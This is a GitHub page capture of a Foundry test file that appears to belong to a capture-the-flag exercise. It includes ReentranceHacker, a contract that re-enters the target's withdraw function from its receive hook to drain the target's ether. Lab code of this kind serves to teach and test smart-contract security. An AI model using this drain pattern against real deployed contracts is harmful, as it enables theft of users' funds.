-
Notifications
You must be signed in to change notification settings - Fork 116
/
Copy pathReentrance.t.sol
38 lines (31 loc) · 969 Bytes
/
Reentrance.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import {Test, console} from "../lib/forge-std/src/Test.sol";
import {Reentrance} from "../src/Reentrance.sol";
contract ReentranceTest is Test {
Reentrance target;
ReentranceHacker hackTarget;
function setUp() public {
target = new Reentrance();
hackTarget = new ReentranceHacker(address(target));
}
function test_ReentranceToReceiveEther() public {
hackTarget.attack{value: 1 ether}();
assert(address(target).balance != 0);
}
}
contract ReentranceHacker {
Reentrance public target;
constructor(address _target) {
target = Reentrance(_target);
}
function attack() public payable {
target.donate{value: msg.value}(address(this));
target.withdraw(msg.value);
}
receive() external payable {
if (address(target).balance > 0) {
target.withdraw(address(target).balance);
}
}
}